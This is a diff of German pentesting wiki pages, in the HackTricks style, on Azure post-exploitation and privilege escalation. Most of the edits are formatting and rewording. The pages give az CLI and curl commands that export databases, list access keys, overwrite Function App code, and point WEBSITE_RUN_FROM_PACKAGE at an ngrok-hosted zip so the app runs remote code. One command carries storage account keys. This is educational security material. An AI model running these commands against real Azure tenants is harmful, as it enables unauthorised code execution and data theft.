-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server identity zuweisen \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
index 881bc7762..48a8682c6 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
@@ -10,7 +10,7 @@ Für weitere Informationen zur SQL-Datenbank siehe:
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
+### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
Mit diesen Berechtigungen kann ein Angreifer Datenbanken innerhalb der kompromittierten Umgebung erstellen und aktualisieren. Diese Post-Exploitation-Aktivität könnte es einem Angreifer ermöglichen, bösartige Daten hinzuzufügen, Datenbankkonfigurationen zu ändern oder Hintertüren für weitere Persistenz einzufügen, was potenziell den Betrieb stören oder zusätzliche bösartige Aktionen ermöglichen könnte.
```bash
@@ -20,7 +20,7 @@ az sql db create --resource-group --server --name
# Update Database
az sql db update --resource-group --server --name --max-size
```
-### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
+### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
Mit diesen Berechtigungen kann ein Angreifer elasticPools innerhalb der kompromittierten Umgebung erstellen und aktualisieren. Diese Post-Exploitation-Aktivität könnte es einem Angreifer ermöglichen, bösartige Daten hinzuzufügen, Datenbankkonfigurationen zu ändern oder Hintertüren für weitere Persistenz einzufügen, was potenziell den Betrieb stören oder zusätzliche bösartige Aktionen ermöglichen könnte.
```bash
@@ -40,9 +40,9 @@ az sql elastic-pool update \
--dtu \
--tags
```
-### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
+### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
-Mit dieser Berechtigung können Sie die Überwachungseinstellungen auf einem Azure SQL Server ändern oder aktivieren. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, die Auditkonfigurationen zu manipulieren, möglicherweise Spuren zu verwischen oder Auditprotokolle an einen Ort umzuleiten, der unter ihrer Kontrolle steht. Dies kann die Sicherheitsüberwachung behindern oder es ermöglichen, die Aktionen nachverfolgen zu können. HINWEIS: Um die Überwachung für einen Azure SQL Server mit Blob Storage zu aktivieren, müssen Sie ein Speicherkonto anhängen, in dem die Auditprotokolle gespeichert werden können.
+Mit dieser Berechtigung können Sie die Auditing-Einstellungen auf einem Azure SQL Server ändern oder aktivieren. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, die Auditkonfigurationen zu manipulieren, möglicherweise um Spuren zu verwischen oder Auditprotokolle an einen Ort umzuleiten, der unter ihrer Kontrolle steht. Dies kann die Sicherheitsüberwachung behindern oder es ermöglichen, die Aktionen im Auge zu behalten. HINWEIS: Um das Auditing für einen Azure SQL Server mit Blob Storage zu aktivieren, müssen Sie ein Speicherkonto anhängen, in dem die Auditprotokolle gespeichert werden können.
```bash
az sql server audit-policy update \
--server \
@@ -51,16 +51,16 @@ az sql server audit-policy update \
--storage-account \
--retention-days 7
```
-### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
+### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
-Mit dieser Berechtigung können Sie die Verbindungsrichtlinien eines Azure SQL Servers ändern. Diese Fähigkeit kann ausgenutzt werden, um serverseitige Verbindungseinstellungen zu aktivieren oder zu ändern.
+Mit dieser Berechtigung können Sie die Verbindungseinstellungen eines Azure SQL Servers ändern. Diese Fähigkeit kann ausgenutzt werden, um serverseitige Verbindungseinstellungen zu aktivieren oder zu ändern.
```bash
az sql server connection-policy update \
--server \
--resource-group \
--connection-type
```
-### "Microsoft.Sql/servers/databases/export/action"
+### `Microsoft.Sql/servers/databases/export/action`
Mit dieser Berechtigung können Sie eine Datenbank von einem Azure SQL Server in ein Speicherkonto exportieren. Ein Angreifer oder autorisierter Benutzer mit dieser Berechtigung kann sensible Daten aus der Datenbank exfiltrieren, indem er sie an einen Ort exportiert, den er kontrolliert, was ein erhebliches Risiko für Datenverletzungen darstellt. Es ist wichtig, den Speicher-Schlüssel zu kennen, um dies durchführen zu können.
```bash
@@ -74,9 +74,9 @@ az sql db export \
--admin-password
```
-### "Microsoft.Sql/servers/databases/import/action"
+### `Microsoft.Sql/servers/databases/import/action`
-Mit dieser Berechtigung können Sie eine Datenbank in einen Azure SQL Server importieren. Ein Angreifer oder autorisierter Benutzer mit dieser Berechtigung kann potenziell bösartige oder manipulierte Datenbanken hochladen. Dies kann dazu führen, dass Kontrolle über sensible Daten erlangt wird oder schädliche Skripte oder Trigger in die importierte Datenbank eingebettet werden. Zusätzlich können Sie sie auf Ihren eigenen Server in Azure importieren. Hinweis: Der Server muss Azure-Dienste und -Ressourcen den Zugriff auf den Server erlauben.
+Mit dieser Berechtigung können Sie eine Datenbank in einen Azure SQL Server importieren. Ein Angreifer oder autorisierter Benutzer mit dieser Berechtigung kann potenziell bösartige oder manipulierte Datenbanken hochladen. Dies kann dazu führen, dass die Kontrolle über sensible Daten erlangt wird oder dass schädliche Skripte oder Trigger in die importierte Datenbank eingebettet werden. Zusätzlich können Sie sie auf Ihren eigenen Server in Azure importieren. Hinweis: Der Server muss Azure-Dienste und -Ressourcen den Zugriff auf den Server erlauben.
```bash
az sql db import --admin-user \
--admin-password \
@@ -85,6 +85,6 @@ az sql db import --admin-user \
--resource-group \
--storage-key-type SharedAccessKey \
--storage-key \
---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
+--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
index 4cb9c410f..7c5e3cf9a 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -5,15 +5,13 @@
## CosmosDB Privesc
Für weitere Informationen zur SQL-Datenbank siehe:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
+### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
-Mit diesen Berechtigungen können Sie Privilegien eskalieren, indem Sie einem Benutzer die Berechtigungen zum Ausführen von Abfragen und zum Verbinden mit der Datenbank geben. Zuerst wird eine Rollenbeschreibung erstellt, die die erforderlichen Berechtigungen und Bereiche festlegt.
-
-{% code overflow="wrap" %}
+Mit diesen Berechtigungen können Sie Privilegien eskalieren, indem Sie einem Benutzer die Berechtigungen erteilen, Abfragen auszuführen und sich mit der Datenbank zu verbinden. Zuerst wird eine Rollenbeschreibung erstellt, die die erforderlichen Berechtigungen und Bereiche festlegt.
```bash
az cosmosdb sql role definition create \
--account-name \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
-{% endcode %}
-
-Danach wird die Zuweisung der Definition an einen Benutzer vorgenommen. Danach kann dieser Benutzer die DefaultAzureCredential() Verbindungsmethode verwenden, um Abfragen auszuführen.
-
-{% code overflow="wrap" %}
+Nachdem die Zuweisung der Definition an einen Benutzer erfolgt ist, kann dieser Benutzer die Verbindungsmethode DefaultAzureCredential() verwenden, um Abfragen auszuführen.
```bash
az cosmosdb sql role assignment create \
--account-name \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id \
--scope "/"
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
-Mit dieser Berechtigung können Sie die primären und sekundären Schlüssel für ein Azure Cosmos DB-Konto abrufen. Diese Schlüssel bieten vollen Zugriff auf das Datenbankkonto und seine Ressourcen, wodurch Aktionen wie Datenlesungen, -schreibungen und Konfigurationsänderungen ermöglicht werden.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
+Mit dieser Berechtigung können Sie die primären und sekundären Schlüssel für ein Azure Cosmos DB-Konto abrufen. Diese Schlüssel bieten vollen Zugriff auf das Datenbankkonto und dessen Ressourcen, wodurch Aktionen wie Datenlesungen, -schreibungen und Konfigurationsänderungen ermöglicht werden.
```bash
az cosmosdb keys list \
--name \
--resource-group
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
index 28b96c5c4..0816da2dd 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
@@ -20,7 +20,7 @@ Sobald Sie herausgefunden haben, wo sich der Code der Funktion befindet, können
Der Code der Funktion wird normalerweise in einem Dateifreigabe gespeichert. Mit ausreichendem Zugriff ist es möglich, die Code-Datei zu ändern und **die Funktion dazu zu bringen, beliebigen Code zu laden**, was es ermöglicht, die Berechtigungen auf die verwalteten Identitäten zu eskalieren, die an die Funktion angehängt sind.
-Diese Bereitstellungsmethode konfiguriert normalerweise die Einstellungen **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** und **`WEBSITE_CONTENTSHARE`**, die Sie von
+Diese Bereitstellungsmethode konfiguriert normalerweise die Einstellungen **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** und **`WEBSITE_CONTENTSHARE`**, die Sie von
```bash
az functionapp config appsettings list \
--name \
@@ -29,7 +29,7 @@ az functionapp config appsettings list \
Diese Konfigurationen enthalten den **Storage Account Key**, den die Funktion verwenden kann, um auf den Code zuzugreifen.
> [!CAUTION]
-> Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und das **Skript** zu ändern, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren.
+> Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und das **Skript zu ändern**, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren.
Das folgende Beispiel verwendet macOS, um eine Verbindung zum File Share herzustellen, aber es wird empfohlen, auch die folgende Seite für weitere Informationen zu File Shares zu überprüfen:
@@ -49,7 +49,7 @@ open "smb://.file.core.windows.net/"
Es ist auch üblich, die **zip-Releases** im Ordner `function-releases` des Storage Account Containers zu finden, den die Function App in einem Container **normalerweise mit dem Namen `function-releases`** verwendet.
-In der Regel wird diese Bereitstellungsmethode die Konfiguration `WEBSITE_RUN_FROM_PACKAGE` in:
+In der Regel wird diese Bereitstellungsmethode die Konfiguration `WEBSITE_RUN_FROM_PACKAGE` in folgendem setzen:
```bash
az functionapp config appsettings list \
--name \
@@ -58,7 +58,7 @@ az functionapp config appsettings list \
Diese Konfiguration enthält normalerweise eine **SAS-URL zum Herunterladen** des Codes aus dem Speicherkonto.
> [!CAUTION]
-> Mit ausreichenden Berechtigungen zum Verbinden mit dem Blob-Container, der **den Code im Zip enthält**, ist es möglich, beliebigen Code in der Funktion auszuführen und die Berechtigungen zu eskalieren.
+> Mit ausreichenden Berechtigungen, um eine Verbindung zum Blob-Container herzustellen, der **den Code im Zip enthält**, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
@@ -116,13 +116,13 @@ az storage blob upload \
--file /tmp/scm-latest-.zip \
--overwrite
```
-### Microsoft.Web/sites/host/listkeys/action
+### `Microsoft.Web/sites/host/listkeys/action`
Diese Berechtigung ermöglicht das Auflisten der Funktions-, Master- und Systemschlüssel, jedoch nicht des Hostschlüssels, der angegebenen Funktion mit:
```bash
az functionapp keys list --resource-group --name
```
-Mit dem Master-Schlüssel ist es auch möglich, den Quellcode über eine URL wie:
+Mit dem Master-Schlüssel ist es auch möglich, den Quellcode in einer URL wie:
```bash
# Get "script_href" from
az rest --method GET \
@@ -143,34 +143,34 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
-### Microsoft.Web/sites/functions/listKeys/action
+### `Microsoft.Web/sites/functions/listKeys/action`
Diese Berechtigung ermöglicht es, den Hostschlüssel der angegebenen Funktion zu erhalten mit:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01"
```
-### Microsoft.Web/sites/host/functionKeys/write
+### `Microsoft.Web/sites/host/functionKeys/write`
Diese Berechtigung ermöglicht das Erstellen/Aktualisieren eines Funktionsschlüssels der angegebenen Funktion mit:
```bash
az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/host/masterKey/write
+### `Microsoft.Web/sites/host/masterKey/write`
-Diese Berechtigung ermöglicht das Erstellen/Aktualisieren eines Master-Schlüssels für die angegebene Funktion mit:
+Diese Berechtigung ermöglicht es, einen Master-Schlüssel für die angegebene Funktion zu erstellen/aktualisieren mit:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Denken Sie daran, dass Sie mit diesem Schlüssel auch auf den Quellcode zugreifen und ihn wie zuvor erklärt ändern können!
-### Microsoft.Web/sites/host/systemKeys/write
+### `Microsoft.Web/sites/host/systemKeys/write`
Diese Berechtigung ermöglicht das Erstellen/Aktualisieren eines Systemfunktionsschlüssels für die angegebene Funktion mit:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/config/list/action
+### `Microsoft.Web/sites/config/list/action`
Diese Berechtigung ermöglicht es, die Einstellungen einer Funktion abzurufen. In diesen Konfigurationen könnte es möglich sein, die Standardwerte **`AzureWebJobsStorage`** oder **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** zu finden, die einen **Kontoschlüssel zum Zugriff auf den Blob-Speicher der Funktion mit VOLLBERECHTIGUNGEN** enthalten.
```bash
@@ -181,9 +181,9 @@ Darüber hinaus ermöglicht diese Berechtigung auch den Zugriff auf den **SCM-Be
az rest --method POST \
--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01"
```
-### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
-Diese Berechtigungen ermöglichen es, die Konfigurationswerte einer Funktion aufzulisten, wie wir zuvor gesehen haben, plus **diese Werte zu ändern**. Dies ist nützlich, da diese Einstellungen anzeigen, wo sich der auszuführende Code innerhalb der Funktion befindet.
+Diese Berechtigungen ermöglichen es, die Konfigurationswerte einer Funktion aufzulisten, wie wir zuvor gesehen haben, plus **diese Werte zu ändern**. Dies ist nützlich, da diese Einstellungen anzeigen, wo sich der auszuführende Code innerhalb der Funktion befindet.
Es ist daher möglich, den Wert der Einstellung **`WEBSITE_RUN_FROM_PACKAGE`** auf eine URL-Zip-Datei zu setzen, die den neuen Code enthält, der innerhalb einer Webanwendung ausgeführt werden soll:
@@ -213,7 +213,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
-### Microsoft.Web/sites/hostruntime/vfs/write
+### `Microsoft.Web/sites/hostruntime/vfs/write`
Mit dieser Berechtigung ist es **möglich, den Code einer Anwendung** über die Webkonsole (oder über den folgenden API-Endpunkt) zu ändern:
```bash
@@ -224,9 +224,9 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
-### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
+### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
-Diese Berechtigung ermöglicht es, alle Veröffentlichungsprofile aufzulisten, die im Grunde **Basis-Auth-Anmeldeinformationen** enthalten:
+Diese Berechtigungen ermöglichen es, alle Veröffentlichungsprofile aufzulisten, die im Grunde **Basis-Auth-Anmeldeinformationen** enthalten:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group \
--output json
```
-Eine weitere Möglichkeit wäre, eigene Anmeldeinformationen festzulegen und diese zu verwenden mit:
+Eine weitere Möglichkeit wäre, Ihre eigenen Anmeldeinformationen festzulegen und diese zu verwenden mit:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
@@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
```
_Beachten Sie, dass der **FTP-Benutzername** normalerweise im Format \\\$\ vorliegt._
-### Microsoft.Web/sites/publish/Action
-
-Laut [**den Dokumenten**](https://github.com/projectkudu/kudu/wiki/REST-API#command) erlaubt diese Berechtigung, **Befehle im SCM-Server auszuführen**, die verwendet werden könnten, um den Quellcode der Anwendung zu ändern:
-```bash
-az rest --method POST \
---resource "https://management.azure.com/" \
---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
-```
-### Microsoft.Web/sites/hostruntime/vfs/read
+### `Microsoft.Web/sites/hostruntime/vfs/read`
Diese Berechtigung ermöglicht es, den **Quellcode** der App über das VFS zu **lesen**:
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
-### Microsoft.Web/sites/functions/token/action
+### `Microsoft.Web/sites/functions/token/action`
-Mit dieser Berechtigung ist es möglich, [das **Admin-Token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) zu erhalten, das später verwendet werden kann, um den **Master-Schlüssel** abzurufen und somit auf den Code der Funktion zuzugreifen und ihn zu ändern:
+Mit dieser Berechtigung ist es möglich, [das **Admin-Token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) zu erhalten, das später verwendet werden kann, um den **Master-Schlüssel** abzurufen und somit auf den Code der Funktion zuzugreifen und ihn zu ändern.
+
+Bei meinen letzten Überprüfungen wurde jedoch kein Token zurückgegeben, daher könnte es deaktiviert oder nicht mehr funktionsfähig sein, aber so würden Sie es tun:
```bash
# Get admin token
-az rest --method POST \
---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \
---headers '{"Content-Type": "application/json"}' \
---debug
+az rest --method GET \
+--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer "
```
-### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
+### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Diese Berechtigungen ermöglichen es, **Funktionen zu aktivieren**, die möglicherweise deaktiviert sind (oder sie zu deaktivieren).
```bash
@@ -342,17 +333,17 @@ Es ist auch möglich zu sehen, ob eine Funktion in der folgenden URL aktiviert o
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01"
```
-### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
+### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
-Mit diesen Berechtigungen ist es möglich, **den Container, der von einer Function App betrieben wird**, die so konfiguriert ist, dass sie einen Container ausführt, zu **modifizieren**. Dies würde es einem Angreifer ermöglichen, eine bösartige Azure Function Container App zu Docker Hub (zum Beispiel) hochzuladen und die Funktion dazu zu bringen, sie auszuführen.
+Mit diesen Berechtigungen ist es möglich, **den Container, der von einer Function App ausgeführt wird, zu ändern**, die so konfiguriert ist, dass sie einen Container ausführt. Dies würde es einem Angreifer ermöglichen, eine bösartige Azure Function Container-App auf Docker Hub (zum Beispiel) hochzuladen und die Funktion dazu zu bringen, sie auszuführen.
```bash
az functionapp config container set --name \
--resource-group \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
-### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
+### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
-Mit diesen Berechtigungen ist es möglich, **eine neue benutzerverwaltete Identität an eine Funktion anzuhängen**. Wenn die Funktion kompromittiert wurde, würde dies ermöglichen, die Berechtigungen auf jede benutzerverwaltete Identität zu eskalieren.
+Mit diesen Berechtigungen ist es möglich, **eine neue benutzerdefinierte Identität an eine Funktion anzuhängen**. Wenn die Funktion kompromittiert wurde, würde dies ermöglichen, die Berechtigungen auf jede benutzerdefinierte Identität zu eskalieren.
```bash
az functionapp identity assign \
--name \
@@ -373,8 +364,8 @@ az functionapp config set --remote-debugging-enabled=True --name --re
```
### Ändern des Github-Repos
-Ich habe versucht, das Github-Repo, von dem die Bereitstellung erfolgt, zu ändern, indem ich die folgenden Befehle ausgeführt habe, aber selbst wenn es geändert wurde, **wurde der neue Code nicht geladen** (wahrscheinlich, weil es erwartet, dass die Github Action den Code aktualisiert).\
-Darüber hinaus wurde die **verwaltete Identität federierte Anmeldeinformationen nicht aktualisiert**, um das neue Repository zuzulassen, sodass es so aussieht, als wäre dies nicht sehr nützlich.
+Ich habe versucht, das Github-Repo zu ändern, von dem aus die Bereitstellung erfolgt, indem ich die folgenden Befehle ausgeführt habe, aber selbst wenn es geändert wurde, **wurde der neue Code nicht geladen** (wahrscheinlich, weil es erwartet, dass die Github Action den Code aktualisiert).\
+Darüber hinaus wurde die **verwaltete Identität der föderierten Anmeldeinformationen nicht aktualisiert**, um das neue Repository zuzulassen, sodass es so aussieht, als wäre dies nicht sehr nützlich.
```bash
# Remove current
az functionapp deployment source delete \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
index e4cca82c7..85403fc08 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
@@ -10,7 +10,7 @@ Für weitere Informationen zu diesem Dienst siehe:
../az-services/az-keyvault.md
{{#endref}}
-### Microsoft.KeyVault/vaults/write
+### `Microsoft.KeyVault/vaults/write`
Ein Angreifer mit dieser Berechtigung kann die Richtlinie eines Key Vaults ändern (der Key Vault muss Zugriffsrichtlinien anstelle von RBAC verwenden).
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
index d9b2e8dac..283cb557c 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
@@ -5,15 +5,13 @@
## Logic Apps Privesc
Für weitere Informationen zur SQL-Datenbank siehe:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
+### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
Mit dieser Berechtigung können Sie Azure Logic Apps-Workflows erstellen oder aktualisieren. Workflows definieren automatisierte Prozesse und Integrationen zwischen verschiedenen Systemen und Diensten.
-
-{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group \
@@ -26,8 +24,6 @@ az logic workflow update \
--resource-group logicappgroup \
--definition
```
-{% endcode %}
-
Und nachdem Sie es geändert haben, können Sie es mit folgendem Befehl ausführen:
```bash
az rest \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
-### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
-Mit diesen Berechtigungen können Sie Logic App-Workflows mit ZIP-Datei-Bereitstellungen bereitstellen. Diese Berechtigungen ermöglichen Aktionen wie das Lesen von App-Details, den Zugriff auf Veröffentlichungsanmeldeinformationen, das Schreiben von Änderungen und das Auflisten von App-Konfigurationen. Neben den Startberechtigungen können Sie eine neue Logic App mit dem gewünschten Inhalt aktualisieren und bereitstellen.
-
-{% code overflow="wrap" %}
+### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
+Mit diesen Berechtigungen können Sie Logic App-Workflows mithilfe von ZIP-Datei-Bereitstellungen bereitstellen. Diese Berechtigungen ermöglichen Aktionen wie das Lesen von App-Details, den Zugriff auf Veröffentlichungsanmeldeinformationen, das Schreiben von Änderungen und das Auflisten von App-Konfigurationen. Neben den Startberechtigungen können Sie eine neue Logic App mit dem gewünschten Inhalt aktualisieren und bereitstellen.
```bash
az logicapp deployment source config-zip \
--name \
--resource-group \
--src
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
